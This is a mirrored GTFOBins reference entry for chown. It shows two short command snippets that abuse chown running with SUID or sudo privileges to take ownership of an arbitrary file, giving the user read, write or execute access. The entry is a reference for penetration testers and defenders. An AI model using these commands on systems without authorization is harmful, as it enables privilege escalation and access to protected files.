1
0
mirror of https://github.com/GTFOBins/GTFOBins.github.io.git synced 2024-09-16 17:01:38 +02:00
GTFOBins.github.io/_gtfobins/chown.md
2018-10-05 18:55:38 +01:00

13 lines
325 B
Markdown

---
description: This can be run with elevated privileges to change ownership and then read, write, or execute a file.
functions:
suid:
- code: |
LFILE=file_to_change
./chown $(id -un):$(id -gn) $LFILE
sudo:
- code: |
LFILE=file_to_change
sudo chown $(id -un):$(id -gn) $LFILE
---